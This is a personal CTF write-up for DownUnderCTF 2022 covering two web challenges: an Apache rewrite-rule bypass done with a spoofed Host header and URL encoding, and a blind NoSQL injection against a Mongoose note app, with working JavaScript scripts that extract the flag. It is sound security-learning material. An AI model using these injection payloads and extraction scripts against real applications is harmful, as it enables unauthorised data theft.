https://ctftime.org/event/1625
1.
Archiving this for the sole purpose to prove I did stuff - The three CTFs I participated in prior to DUCTF were all korean so I didn't bother writing a writeup. It was my first time playing a CTF in a team, having teammates encouraged me enough to grind more in a CTF where I felt like some challs were way out of my league. DUCTF was a huge event, so kudos to pjsk.
I'll be skipping some challs and explaining helicoptering, noteworthy.
2. THE CHALLS
- helicoptering
- noteworthy
helicoptering - web
Apache uses a rewriting engine to manipulate requests, about which you can read more here
My approach was to
1. bypass the host header as the first condition evaluates %{HTTP_HOST} and denies everything but localhost
2. bypass %{THE_REQUEST} value as the second condition evaluates the word "flag"
So the solution would be
$ curl -H "Host:localhost" [site address part one]
$ curl [site address part two]/fl%61g.txt
Noteworthy - web
let admin = await User.findOne({ username: 'admin' })
if(!admin) {
admin = new User({ username: 'admin' })
await admin.save()
}
let note = await Note.findOne({ noteId: 1337 })
if(!note) {
const FLAG = process.env.FLAG || 'DUCTF{test_flag}'
note = new Note({ owner: admin._id, noteId: 1337, contents: FLAG })
await note.save()
admin.notes.push(note)
await admin.save()
}
The flag is in a note which has 1337 for the noteId. So that's our target..
router.post('/edit', ensureAuthed, async (req, res, next) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
if(!note) {
return next({ message: 'Note does not exist!' })
}
if(note.owner.toString() != req.user.userId.toString()) {
return next({ message: 'You are not the owner of this note!' })
}
let { contents } = req.body
if(!contents || contents.length > 200) {
return next({ message: 'Invalid contents' })
}
contents = contents.toString()
note.contents = contents
await note.save()
return res.json({ success: true, message: 'Note edited.' })
} else {
return next({ message: 'Invalid request' })
}
} catch(e) {
return next({ message: 'Invalid request' })
}
})
After some digging I was able to figure out the code doesn't filter the query, enabling SQLi. The website used MongoDB which meant NoSQL injection.
router.get('/edit', ensureAuthed, async (req, res) => {
let q = req.query
try {
if('noteId' in q && parseInt(q.noteId) != NaN) {
const note = await Note.findOne(q)
if(!note) {
return res.render('error', { isLoggedIn: true, message: 'Note does not exist!' })
}
if(note.owner.toString() != req.user.userId.toString()) {
return res.render('error', { isLoggedIn: true, message: 'You are not the owner of this note!' })
}
res.render('edit', { isLoggedIn: true, noteId: note.noteId, contents: note.contents })
} else {
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
} catch {
return res.render('error', { isLoggedIn: true, message: 'Invalid request' })
}
})
/edit?noteId=192304913 (its a random number) leads to the editing page. It blocks your access if you are not the owner but we're able to inject payload here; as an example /edit?noteId[$ne]=192304913
Depending on whether the payload is true or false we get the message 'Note does not exist!' or 'You are not the owner of this note!' - basically enabling blind SQLi.
So my approach would be
1. figuring out the length of the content as we know the target noteId
2. figuring out the content itself.
/edit?noteId[$eq]=1337&contents[$regex]=.{29}
leads to the message 'You are not the owner of this note!', so the flag length is 29
And then I rushed out a script similar to this:
let flag = "DUCTF{";
for (let i = 1; i< 29; i++){
for (let j = 48; j< 126; j++ ){
if ( j >= 58 && j <= 64 || j==124){
continue;
}
let params = flag + String.fromCharCode(j);
fetch("https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId[$eq]=1337&contents[$regex]=" + params)
.then((response) => response.text())
.then((data) => {
if (data.indexOf("You are not the owner of this note!") != -1){
console.log(String.fromCharCode(j));
flag += String.fromCharCode(j);
console.log(flag);
return false;
}
}
)
}
}
...aaaand it didn't work, so I re-wrote it.
The answer script would be something like this:
function pwn(params){
var http = new XMLHttpRequest();
var url = "/edit?noteId[$eq]=1337&contents[$regex]=DUCTF{n0sql1_1s_th3_new_"+params;
http.open("GET", url, false);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.send();
if(http.response.indexOf("You are not the owner of this note!") != -1){ return true; }
else return false;
}
flag = "";
for(var i=0;i<30;i++){
for(var j=127;j>32;j--){
t = String.fromCharCode(j);
if((t == "#") || (t == "&") || (t == "*") || (t == ".") || (t == ";") || (t == "?") || (t == "|")) continue;
if(pwn(flag+t)==true){ flag += t; console.log(flag); break; }
}
}
gg
'CTF & WARGAMES > CTF' 카테고리의 다른 글
[Hackappatoi CTF 2022] Writeup (0) | 2022.12.15 |
---|---|
[TUCTF 2022] Writeup (0) | 2022.12.12 |
[STACK the Flags 2022] Writeup (0) | 2022.12.06 |
[Glacier CTF 2022] Writeup (0) | 2022.12.02 |
[HackTheBoo 2022] Writeup (0) | 2022.11.27 |